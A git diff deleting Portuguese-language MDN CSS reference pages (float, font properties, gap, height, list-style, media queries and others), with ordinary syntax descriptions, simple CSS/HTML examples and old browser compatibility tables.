[4] In IE < 8, natural inline elements only.

- -

[5] Not before inline-elements.

- -

[6] CSS Grid support is unprefixed in Nightly/Alpha builds and behind pref "layout.css.grid.enabled" in Beta/release builds.

- -

[7] In Chrome, the contents value is currently disabled by default, but can be enabled with the "Experimental Web Platform features" flag.

- -

[8] In IE 10, only special prefixed values, -ms-flexbox and -ms-inline-flexbox, are recognized.

- -

Consulte também

- -
    -
  • {{Cssxref("visibility")}}, {{Cssxref("float")}}, {{Cssxref("position")}}
  • -
  • {{Cssxref("flex")}}
  • -
- -
- - - - - -
diff --git a/files/pt-pt/web/css/float/index.html b/files/pt-pt/web/css/float/index.html deleted file mode 100644 index 62f8ddf017..0000000000 --- a/files/pt-pt/web/css/float/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: float -slug: Web/CSS/float -tags: - - Referencia_CSS -translation_of: Web/CSS/float ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade float especifica se um elemento deve flutuar pelo lado direito, pelo esquerdo ou não flutuar, onde os elementos inline envolverão ao redor dele.

- -
    -
  • Valor inicial: none;
  • -
  • Aplica-se a: todos elementos;
  • -
  • Herdado: não;
  • -
  • Valor computado: como especificado.
  • -
- -

Um elemento flutuante é um elemento onde o valor computado é diferente de none.

- -

Note que se você estiver referenciando a esta propriedade do JavaScript como um membro do objeto element.style, você precisa escrever isto em cssFloat (veja a lista do DOM:CSS). Note também que para o IE você precisa escrever styleFloat.

- -

Sintaxe

- -

float: left | right | none | inherit

- -

Valores

- -
    -
  • left : O elemento flutua pelo lado esquerdo de um bloco;
  • -
  • right : O elemento flutua pelo lado direito de um bloco;
  • -
  • none : O elemento não flutua.
  • -
- -

Exemplos

- -

View Live Examples

- -
<html>
- <head>
-  <style type="text/css">
-   b
-   {
-     font-size: 25px;
-     float:right;
-   }
-  </style>
- </head>
- <body>
-
-  <p>
-    <b>HELLO!</b>
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-    Isto é algum texto. Isto é algum texto. Isto é algum texto.
-  </p>
-
-</body>
-</html>
-
- -

Notas

- -

TODO: deve explicar como os flutuantes se posicionam. Mencionar o contexto de formatação de bloco.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("clear") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}, {{ Cssxref("float") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/float", "fr": "fr/CSS/float" } ) }}

diff --git a/files/pt-pt/web/css/font-size-adjust/index.html b/files/pt-pt/web/css/font-size-adjust/index.html deleted file mode 100644 index bc7b060a83..0000000000 --- a/files/pt-pt/web/css/font-size-adjust/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: font-size-adjust -slug: Web/CSS/font-size-adjust -tags: - - Referencia_CSS -translation_of: Web/CSS/font-size-adjust ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade {{ Cssxref("font-size-adjust") }} especifica que o tamanho da fonte deve ser escolhido baseado na altura das letras minúsculas antes da altura das letras maísculas.

- -

Isto é útil desde a legibilidade das fontes, especialmente em tamanhos pequenos, é mais determinado pelo tamanho das letras minúsculas do que pelo tamanho das letras maíusculas. Isto pode causar problemas quando a primeira escolha {{ Cssxref("font-family") }} não está disponível e sua substituição tem uma relação de aspecto significativamente diferente (a relação do tamanho das fontes minúsculas para o tamanho da fonte).

- -

Para fazer isto de forma que seja compatível com os navegadores que não suportam {{ Cssxref("font-size-adjust") }}, é especificado um número que a propriedade {{ Cssxref("font-size") }} é multiplicada por. Isto significa que o valor especificado para a propriedade deve geralmente ser a relação de aspecto da primeira escolha de fonte. Por exemplo, uma folha de estilo que especifica font-size: 16px; font-size-adjust: 0.5 está realmente especificando que as letras minúsculas da fonte deverão ter 8px de altura (16px vezes 0.5).

- - - -

Sintaxe

- -

font-size-adjust: <number> | none | {{ Cssxref("inherit") }}

- -

Valores

- -
-
none 
-
Escolha o tamanho da fonte baseado somente na propriedade {{ Cssxref("font-size") }}.
-
<number> 
-
-

Escolha o tamanho da fonte de modo que suas letras minúsculas (como determinado pela métrica x-height da fonte) sejam o número especificado de vezes pelo {{ Cssxref("font-size") }}.

- -

O número especificado deve geralmente ser a relação de aspecto (relação de x-height para o tamanho da fonte) da primeira escolha de {{ Cssxref("font-family") }}. Isto significará que a primeira escolha de fonte, quando disponível, aparecerá no mesmo tamanho nos navegadores, se não suportarem o {{ Cssxref("font-size-adjust") }}.

-
-
- -

Exemplos

- -

View Live Examples

- -
p{
-  font: 12px Verdana, sans-serif;
-  font-size-adjust: 0.58;
-}
-
-
- -

Notas

- -

Especificações

- - - -

Compatibilidade com navegadores

- -

Suportado em todas as plataformas começando em Gecko 1.9 / Firefox 3, mas suportado no Windows somente signitivamente mais cedo.

- -

Veja também

- -

{{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-family") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/font-size-adjust", "fr": "fr/CSS/font-size-adjust" } ) }}

diff --git a/files/pt-pt/web/css/font-size/index.html b/files/pt-pt/web/css/font-size/index.html deleted file mode 100644 index e3d0ca9fa8..0000000000 --- a/files/pt-pt/web/css/font-size/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: font-size -slug: Web/CSS/font-size -tags: - - Referencia_CSS -translation_of: Web/CSS/font-size ---- -

{{ CSSRef() }}

- -

Resumo

- -

The font-size property specifies the size of the font. The font size may, in turn, change the size of other things, since it is used to compute the value of em and ex length units.

- -
    -
  • Valor inicial: medium
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: sim
  • -
  • Percentagens: relativas ao elemento font-size pai
  • -
  • Mídia: Visual
  • -
  • Valor computado: comprimento absoluto
  • -
- -

Sintaxe

- -

font-size: xx-small | x-small | small | medium | large | x-large | xx-large

- -

font-size: smaller | larger

- -

font-size: <length> | <percentage> | {{ Cssxref("inherit") }}

- -

Valores

- -
-
xx-small, x-small, small, medium, large, x-large, xx-large 
-
A set of absolute size keywords based on the user's default font size (which is medium). Similar to presentational HTML's <font size="1"> through <font size="7"> where the user's default font size is <font size="3">.
-
larger, smaller 
-
Larger or smaller than the parent element's font size, by roughly the ratio used to separate the absolute size keywords above.
-
<length> 
-
A positive length.
-
<percentage> 
-
A positive percentage of the parent element's font size.
-
- -

It is best to avoid using values that are not relative to the user's default font size, such as <lengths> with units other than em or ex. However, if such values must be used, px are preferred over other units because their meaning does not vary depending on what the operating system thinks (generally incorrectly) the resolution of the monitor is.

- -

Exemplos

- -

View Live Examples

- -
/* Set paragraph text to be very large. */
-p { font-size: xx-large }
-
-/* Set h1 (level 1 heading) text to be 2.5 times the size
- * of the text around it. */
-h1 { font-size: 250% }
-
-/* Sets text enclosed within span tag to be 16px */
-span { font-size: 16px; }
-
- -

Notas

- -

em and ex units on the {{ Cssxref("font-size") }} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means em units and percentages do the same thing for {{ Cssxref("font-size") }}.

- -

Especificações

- - - -

== Compatibilidade com navegadores ==

- -

Veja também

- -

{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/font-size", "fr": "fr/CSS/font-size" } ) }}

diff --git a/files/pt-pt/web/css/font-smooth/index.html b/files/pt-pt/web/css/font-smooth/index.html deleted file mode 100644 index 2cab7696d8..0000000000 --- a/files/pt-pt/web/css/font-smooth/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: font-smooth -slug: Web/CSS/font-smooth -translation_of: Web/CSS/font-smooth ---- -
{{ CSSRef }} {{ Non-standard_header }}
- -

A propriedade CSS font-smooth  controla a aplicação anti-aliasing quando as fontes são renderizadas.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{{ Xref_cssinitial() }}auto
Applies totodos os elementos e conteúdos gerados
{{ Xref_cssinherited() }}sim
Percentagesrelativo ao tamanho da fonte do elemento pai
Media{{ Xref_cssvisual() }}
{{ Xref_csscomputed() }}como especificado
- -

Sintaxe

- -
/* Keyword values */
-font-smooth: auto;
-font-smooth: never;
-font-smooth: always;
-
-/* <length> value */
-font-smooth: 2em;
-
- -
-

WebKit implementa uma propriedade similar, mas com valores diferentes: -webkit-font-smoothing. Isto só funciona no Mac OS X/macOS.

- -
    -
  • auto - Deixa o navegador decidir (Usa o subpixel anti-aliasing quando disponível; este é o padrão)
  • -
  • none - Desativa a suavização da fonte; exibe o texto com bordas afiadas e irregulares.
  • -
  • antialiased - Suaviza a fonte no nível do pixel, ao contrário do subpixel. Muda a renderização de subpixel para o antialiasing para texto claro em fundos escuros e faz com que pareça mais suave.
  • -
  • subpixel-antialiased - Na maioria de displays não retina, isso irá deixar o texto mais nítido.
  • -
-
- -
-

Firefox implementa uma propriedade similar, mas com valores diferentes: -moz-osx-font-smoothing. Isto só funciona no Mac OS X/macOS.

- -
    -
  • auto - Permite que o navegador selecione uma otimização para suavização de fonte, normalmente grayscale.
  • -
  • grayscale - Renderiza o texto com grayscale antialiasing, ao contrário do subpixel. Muda a renderização do subpixel para antialiasing para que texto o claro em fundos escuros pareça mais claro.
  • -
-
- -

Especificações

- -

Embora presente no início (2002) rascunhos de CSS3 Fonts, font-smooth foi removido e esta especificação não está na faixa de padrões.

- -

Compatibilidade dos Navegadores

- - - -

{{Compat("css.properties.font-smooth")}}

- -

Veja também

- - diff --git a/files/pt-pt/web/css/font-style/index.html b/files/pt-pt/web/css/font-style/index.html deleted file mode 100644 index 55bd8de94f..0000000000 --- a/files/pt-pt/web/css/font-style/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: font-style -slug: Web/CSS/font-style -tags: - - Referencia_CSS -translation_of: Web/CSS/font-style ---- -

{{ CSSRef() }}

- -

Sumário

- -

A propriedade font-style especifica normal (também conhecido comoupright ouroman), itálico, e oblíquo faces dentro dofont-family.

- -

{{cssinfo}}

- -

Sintaxe

- -

font-style: normal | italic | oblique

- -

Valores

- -
-
normal, oblique, italic 
-
Especifica que ouser-agent deve escolher a tipografia 'normal', 'oblique' ou 'italic' dentro do {{ Cssxref("font-family") }}.
-
- -

Exemplos

- -
h1 { font-style: italic }
-p { font-style: oblique }
-
-
- -

Especificações

- - diff --git a/files/pt-pt/web/css/font-weight/index.html b/files/pt-pt/web/css/font-weight/index.html deleted file mode 100644 index 8879e55501..0000000000 --- a/files/pt-pt/web/css/font-weight/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: font-weight -slug: Web/CSS/font-weight -tags: - - Referencia_CSS -translation_of: Web/CSS/font-weight ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propeidade {{ Cssxref("font-weight") }} especifica o peso ou o traço da fonte:

- -
    -
  • Valor inicial: normal
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: sim
  • -
  • Mídia: Visual
  • -
  • Valor computado: Um dos valores numéricos (100, etc.), ou um dos valores numéricos mais um dos valores relativos (mais realçado ou menos realçado)
  • -
- -

Sintaxe

- -

font-weight: normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | {{ Cssxref("inherit") }}

- -

Valores

- -
-
normal 
-
O peso normal da fonte. Semelhante ao 400.
-
bold 
-
O peso negrito da fonte. Semelhante ao 700.
-
lighter 
-
Um peso de fonte mais leve que o elemento pai (entre os pesos disponíveis da fonte).
-
bolder 
-
Um peso de fonte duas vezes grosso que o elemento pai (entre os pesos disponíveis da fonte).
-
100, 200, 300, 400, 500, 600, 700, 800, 900 
-
Os pesos numéricos de fontes para fontes que fornecem mais do que apenas normal e negrito. Se o peso exato fornecido não estiver disponível, então 600-900 utiliza o mais próximo e disponível peso mais duas vezes grosso (ou, se não houver, o peso mais leve disponível e mais próximo) e 100-500 utiliza o peso mais leve disponível e mais próximo (ou, se não houver, o peso mais escuro disponível e mais próximo). Significa que para fontes que fornecem apenas normal e negrito, 100-500 são normais e 600-900 são negritos.
-
- -

Exemplos

- -

HTML

- -
<p>
-Alice começava a ficar muito cansada de sentar-se junto à irmã no banco e
-de não ter nada para fazer: uma ou duas vezes ela espiou o livro que a irmã
-estava a ler, mas não tinha fotos nem conversas nele, «e qual é a utilização
-de um livro», pensou Alice, «sem fotos ou conversas?»
-</p>
-
-<div>Sou quatro vezes grosso<br/>
-  <span>Sou mais leve</span>
-</div>
-
- -

CSS

- -
/* Definir o texto do parágrafo como negrito. */
-p {
-  font-weight: bold;
-}
-
-/* Defina o texto div para dois passos mais grossos do
-que o normal, mas menos que um negrito padrão. */
-div {
- font-weight: 600;
-}
-
-/* Define o texto dentro da tag span para
-ser um passo mais leve que o pai. */
-span {
-  font-weight: lighter;
-}
- -

Resultado

- -

{{EmbedLiveSample("Exemplos","400","300")}}

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer3
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/font-weight", "fr": "fr/CSS/font-weight" } ) }}

diff --git a/files/pt-pt/web/css/font/index.html b/files/pt-pt/web/css/font/index.html deleted file mode 100644 index e212941e9f..0000000000 --- a/files/pt-pt/web/css/font/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: font -slug: Web/CSS/font -tags: - - Referencia_CSS -translation_of: Web/CSS/font ---- -

{{ CSSRef() }}

- -

Resumo

- -

The font property is a shorthand property for setting {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }} and {{ Cssxref("font-family") }} at the same place in the style sheet.

- -
    -
  • Valor inicial: refere-se a propriedades individuais
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: sim
  • -
  • Mídia: Visual
  • -
- -

 

- -

Sintaxe

- -

font: [ <font-style> || <font-variant> || <font-weight> ]? <font-size> [ / <line-height> ]? <font-family>

- -

font: caption | icon | menu | message-box | small-caption | status-bar | -moz-window | -moz-document | -moz-workspace | -moz-desktop | -moz-info | -moz-dialog | -moz-button | -moz-pull-down-menu | -moz-list | -moz-field

- -

font: {{ Cssxref("inherit") }}

- -

Valores

- -

Using the {{ Cssxref("font") }} shorthand property sets the longhand properties as specified, and sets all other font-related properties to their initial values.

- -

See {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, and {{ Cssxref("font-family") }} for legal values of each property.

- -

System fonts can also be specified using the {{ Cssxref("font") }} property,instead of specifying individual longhand properties:

- -
-
caption 
-
The font used for captioned controls (e.g., buttons, drop-downs, etc.).
-
icon 
-
The font used to label icons.
-
menu 
-
The font used in menus (e.g., dropdown menus and menu lists).
-
message-box 
-
The font used in dialog boxes.
-
small-caption 
-
The font used for labeling small controls.
-
status-bar 
-
The font used in window status bars.
-
-moz-window 
-
 
-
-moz-document 
-
 
-
-moz-workspace 
-
 
-
-moz-desktop 
-
 
-
-moz-info 
-
 
-
-moz-dialog 
-
 
-
-moz-button 
-
 
-
-moz-pull-down-menu 
-
 
-
-moz-list 
-
 
-
-moz-field 
-
 
-
- -

Exemplos

- -

View Live Examples

- -
/* Set the font size to 12pt and the line height to 14pt. Set the font family to sans-serif */
-p { font: 12pt/14pt sans-serif }
-
- -
/* Set the font size to 80% of the parent tag or default value (if no parent tag present)
-and set the font family to sans-serif */
-p { font: 80% sans-serif }
-
- -
/* Set the font weight to bold, the font-style to italic, the font size to large,
-and the font family to serif. */
-p { font: bold italic large serif }
-
- -

Notas

- -

The {{ Cssxref("font-size") }} and {{ Cssxref("font-family") }} parts of the shorthand are mandatory. Omitting them is a syntax error, and causes the entire declaration to be ignored.

- -

Properties for which no values are given are set to their initial value, which is normal for all properties that can be omitted ({{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, and {{ Cssxref("line-height") }}).

- -

The {{ Cssxref("font-size-adjust") }} property is also set to its initial value (none) when the {{ Cssxref("font") }} shorthand property is specified.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer3
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/font", "fr": "fr/CSS/font", "pl": "pl/CSS/font" } ) }}

diff --git a/files/pt-pt/web/css/gap/index.html b/files/pt-pt/web/css/gap/index.html deleted file mode 100644 index 11f5ba95b5..0000000000 --- a/files/pt-pt/web/css/gap/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: grid-gap -slug: Web/CSS/gap -translation_of: Web/CSS/gap -translation_of_original: Web/CSS/grid-gap -original_slug: Web/CSS/grid-gap ---- -

A propriedade CSS grid-gap é uma propriedade de taquigrafia para {{cssxref("grid-row-gap")}} e {{cssxref("grid-column-gap")}} especificando os canais entre as linhas de grelha e as colunas.

- -
/* One <length> value */
-grid-gap: 20px;
-grid-gap: 1em;
-grid-gap: 3vmin;
-grid-gap: 0.5cm;
-
-/* One <percentage> value */
-grid-gap: 16%;
-grid-gap: 100%;
-
-/* Two <length> values */
-grid-gap: 20px 10px;
-grid-gap: 1em 0.5em;
-grid-gap: 3vmin 2vmax;
-grid-gap: 0.5cm 2mm;
-
-/* One or two <percentage> values */
-grid-gap: 16% 100%;
-grid-gap: 21px 82%;
-
-/* Global values */
-grid-gap: inherit;
-grid-gap: initial;
-grid-gap: unset;
-
- -

{{cssinfo}}

- -

Sintaxe

- -

This property is specified as a value for <'grid-row-gap'> followed optionally by a value for <'grid-column-gap'>. If <'grid-column-gap'> is omitted, it’s set to the same value as <'grid-row-gap'>.

- -

<'grid-row-gap'> and <'grid-column-gap'> are each specified as a <length> or a <percentage>.

- -

Valores

- -
-
<length>
-
Is the width of the gutter separating the grid lines.
-
<percentage>
-
Is the width of the gutter separating the grid lines, relative to the dimension of the element.
-
- -

Sintaxe formal

- -{{csssyntax}} - -

Exemplo

- -

Conteúdeo de HTML

- -
<div id="grid">
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-  <div></div>
-</div>
- -

Conteúdo de CSS

- -
#grid {
-  display: grid;
-  height: 200px;
-  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
-  grid-gap: 20px 5px;
-}
-
-#grid > div {
-  background-color: lime;
-}
-
- -

{{EmbedLiveSample("Example", "100%", "200px")}}

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("CSS3 Grid", "#propdef-grid-gap", "grid-gap")}}{{Spec2("CSS3 Grid")}}Definição inicial
- -

Compatibilidade de navegador

- -

 

- - - -

{{Compat("css.properties.grid-gap")}}

- -

 

- -

Consulte também

- - - - diff --git a/files/pt-pt/web/css/height/index.html b/files/pt-pt/web/css/height/index.html deleted file mode 100644 index e3b2b71c2c..0000000000 --- a/files/pt-pt/web/css/height/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: height -slug: Web/CSS/height -tags: - - Referencia_CSS -translation_of: Web/CSS/height ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade height é usada para configurar a altura dada a um elemento.

- -
    -
  • Valor inicial: auto
  • -
  • Aplica-se a: o nível do bloco e elementos substituídos
  • -
  • Herdado: não
  • -
  • Porcentagens: refere-se à altura do bloco que o contém
  • -
  • Mídia: Visual
  • -
- -

Sintaxe

- -
 height: [ <length> || <percentage> ] auto | inherit
-
- -

Valores

- -
    -
  • length : pode ser em px, cm, in, em
  • -
  • percentage : % especificado como uma porcentagem da altura do elemento pai
  • -
  • auto : o navegador calculará e selecionará uma altura para o elemento especificado.
  • -
- -

Exemplos

- -

View Live Examples

- -
table{height: 100%;}
-
-img{height: 200px;}
-
-form{height: auto;}
-
- -

== Notas ==

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Netscape4
Opera3.5
- -

Veja também

- -

box model, {{ Cssxref("width") }}, {{ Cssxref("-moz-box-sizing") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/height", "fr": "fr/CSS/height" } ) }}

diff --git a/files/pt-pt/web/css/index.html b/files/pt-pt/web/css/index.html deleted file mode 100644 index 9f7a65ea5f..0000000000 --- a/files/pt-pt/web/css/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: 'CSS: Folhas de Estilo em Cascata' -slug: Web/CSS -tags: - - Apresentação - - CSS - - Desenho - - Design - - Disposição - - Estilos - - Folhas de Estilo em Cascata - - Folhas de estilo - - Landing - - Referencia - - 'l10n:prioridade' -translation_of: Web/CSS ---- -
{{CSSRef}}
- -

Folhas de Estilo em Cascata (CSS - Cascading Style Sheets) é uma linguagem de folha de estilo utilizada para descrever a apresentação de um documento escrito em HTML or XML (incluindo dialetos de XML, tais como SVG, MathML ou {{Glossary("XHTML", "", 1)}}). CSS descreve como os elementos deverão ser renderizados no ecrã, no papel, na fala, ou em outra média.

- -

CSS é uma das principais linguagens da Web aberta e está estandardizada nos navegadores de acordo com a especificação W3C. Desenvolvida em níveis, CSS1 está agora obsoleta, CSS2.1 é a recomendação, e CSS3, agora divida em pequenos módulos, está a progredir a caminho da estandardização

- -
-
    -
  • Introdução a CSS - -

    Se é novo no desenvolvimento Web, certifique-se que lê o nosso artigo de CSS - Essencial para saber o que é CSS e como utilizar.

    -
  • -
  • Tutoriais de CSS -

    A nossa área de aprendizagem de CSS contém uma grande quantidade de tutoriais para levá-lo do nível de principiante até à proficiência, abrangendo todos os conteúdos essenciais.

    -
  • -
  • Referência de CSS -

    A nossa referência exaustiva de CSS para os programadores da Web que descreve cada propriedade e conceito de CSS.

    -
  • -
- -
-
-

Tutoriais

- -

A nossa Área de Aprendizagem de CSS apresenta múltiplos módulos que ensinam CSS desde o início  — não é necessário conhecimento prévio.

- -
-
Introdução ao CSS
-
Este módulo permite-lhe começar com os básicos de como o CSS funciona, incluindo selectores e propriedades, escrever regras CSS, aplicar CSS a HTML, como especificar comprimento, cor e outras unidades em CSS, cascata e herança, modelos básicos de caixa e depuração de CSS.
-
Estilizar texto
-
Aqui aprendemos os fundamentos do estilo do texto, incluindo a definição da fonte, negrito e itálico, espaçamento entre linhas e letras, e sombras e outras características do texto. Nós terminamos o módulo, aplicando fontes personalizadas à sua página, e estilizando listas e links.
-
Estilizar caixas
-
A seguir, focamos em estilizar caixas, um dos passos fundamentais para a criação de uma página web. Neste módulo, recapitulamos o modelo da caixa e depois aprendemos a controlar a disposição das caixas, definindo preenchimentos, bordas e margens, cores de fundo personalizadas, imagens e outras características, bem como características mais avancadas como sombras e filtros nas caixas.
-
Disposição de CSS (layout)
-
Até agora, já analisámos os fundamentos do CSS, como estilizar os textos, e como estilizar e manipular as caixas que o seu conteúdo contém. Agora é altura de ver como colocar as suas caixas no lugar certo em relação ao {{Glossary("layout viewport", "viewport")}}, e umas às outras. Cobrimos os pré-requisitos necessários para que possa agora mergulhar profundamente no layout do CSS, observando diferentes configurações de visualização, métodos tradicionais de layout envolvendo float e posicionamento, e novas ferramentas de posicionamento como o flexbox.
-
-
- -
-

Referência

- - - -

Cookbook

- -

The CSS layout cookbook aims to bring together recipes for common layout patterns, things you might need to implement in your own sites. In addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer.

- -

Ferramentas para o desenvolvimento de CSS

- - - -

Erros de metadados

- -
    -
  • Firefox: {{bug(1323667)}}
  • -
-
-
-
- -

Consultar também:

- - diff --git a/files/pt-pt/web/css/inherit/index.html b/files/pt-pt/web/css/inherit/index.html deleted file mode 100644 index 8bfcd334e5..0000000000 --- a/files/pt-pt/web/css/inherit/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: inherit -slug: Web/CSS/inherit -translation_of: Web/CSS/inherit ---- -

Herda propriedade do elemento pai. -

diff --git a/files/pt-pt/web/css/list-style/index.html b/files/pt-pt/web/css/list-style/index.html deleted file mode 100644 index 3a6cf6d36d..0000000000 --- a/files/pt-pt/web/css/list-style/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: list-style -slug: Web/CSS/list-style -tags: - - Referencia_CSS -translation_of: Web/CSS/list-style ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade list-style é uma propriedade usada para configurar list-style-type, list-style-image, e list-style-position.

- -
    -
  • Valor inicial: olhar propriedades individuais para detalhes
  • -
  • Aplica-se a: elementos com 'display' com valor 'list-item'
  • -
  • Herdado: sim
  • -
  • Porcentagens: N/A
  • -
  • Mídia: Visual
  • -
- -

Sintaxe

- -
 list-style: [disc | circle | square | decimal | lower-roman | upper-roman | lower-alpha | upper-alpha | none] || [inside | outside] || [<url> | none]
-
- -

Valores

- -

disc, circle, square, decimal, lower-roman, upper-roman, lower-alpha, upper-alpha, inside, outside, <url>, none

- -

Exemplos

- -

HTML

- -
List 1
-<ul class="one">
-  <li>List Item1</li>
-  <li>List Item2</li>
-  <li>List Item3</li>
-</ul>
-List 2
-<ul class="two">
-  <li>List Item A</li>
-  <li>List Item B</li>
-  <li>List Item C</li>
-</ul>
-
- -

CSS

- -
.one {
-  list-style: circle;
-}
-
-.two {
-  list-style: square inside;
-}
- -

Result

- -

{{EmbedLiveSample('Exemplos')}}

- -

Especificações

- - - -

* {{ mediawiki.external('http://www.w3.org/TR/CSS21/visudet.html#the-height-property CSS 2.1') }} == Compatibilidade com navegadores == <table class="standard-table"> <tr> <th>Navegador</th> <th>Versão mais antiga</th> </tr> <tr> <td>Internet Explorer</td> <td>4</td> </tr> <tr> <td>Netscape</td> <td>4</td> </tr> <tr> <td>Opera</td> <td>3.5</td> </tr> </table>

- -

Veja também

- -

list-style-image, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-position") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/list-style", "fr": "fr/CSS/list-style" } ) }}

diff --git a/files/pt-pt/web/css/media_queries/index.html b/files/pt-pt/web/css/media_queries/index.html deleted file mode 100644 index 13fc49d8ec..0000000000 --- a/files/pt-pt/web/css/media_queries/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Consultas de média -slug: Web/CSS/Media_Queries -tags: - - CSS - - Consultas de Média - - Consultas de média CSS3 - - Desenho Adaptável - - Referencia - - Visão Geral -translation_of: Web/CSS/Media_Queries -original_slug: Web/CSS/Consultas_de_media ---- -
{{CSSRef}}
- -

Consultas de média permitem adaptar o seu site ou aplicação de acordo com diferentes características ou parâmetros dos dispositivos utilizados.

- -

São um elemento chave de desenho adaptável . Por exemplo, uma consulta de média pode reduzir o tamanho do texto em dispositivos pequenos, aumentar o espaço entre parágrafos quando a página é visualizada em modo de paisagem, ou ampliar os botões nos ecrãs táteis.

- -

Em CSS, utiliza-se a regra "at" {{cssxref("@media")}} para aplicar, condicionalmente, parte de uma folha de estilos com base no resultado de uma consulta de média. E utiliza-se {{cssxref("@import")}} para aplicar, condicionalmente, uma folha de estilos inteira.

- -

Consultas de média em HTML

- -

Em HTML, as consultas de média podem-se aplicar a vários elementos:

- -
    -
  • No atributo {{htmlattrxref("media", "link")}} do elemento {{HTMLElement("link")}}. O valor deste atributo define os média a que se deve aplicar o recurso ligado (tipicamente, este recurso é um documento CSS).
  • -
  • No atributo {{htmlattrxref("media", "source")}} do elemento {{HTMLElement("source")}} (apenas é válido quando este elemento está aninhado dentro de um elemento {{HTMLElement("picture")}}.). O valor deste atributo define quais os média que podem utilizar a imagem associada ao elemento.
  • -
  • No atributo {{htmlattrxref("media", "style")}} do elemento {{HTMLElement("style")}}. O valor deste atributo define os média a que são aplicados os estilos.
  • -
- -

Consultas de média em JavaScript

- -

Em JavaScript, pode-se usar o método {{domxref("Window.matchMedia()")}} para verificar se a janela possui as características definidas na consulta de média. Também se pode utilizar {{domxref("MediaQueryList.addListener()")}} para gerar eventos sempre que houver mudanças no resultado da consulta de média. Com estas funcionalidades, o seu site ou aplicação pode responder a mudanças na configuração, orientação ou estado do dispositivo.

- -

Pode aprender mais sobre utilização programática das consultas de média no artigo Testar consultas de média.

- -

Referências

- -

Regras "at"

- -
-
    -
  • {{cssxref("@import")}}
  • -
  • {{cssxref("@media")}}
  • -
-
- -

Guias

- -
-
Utilizar consultas de média
-
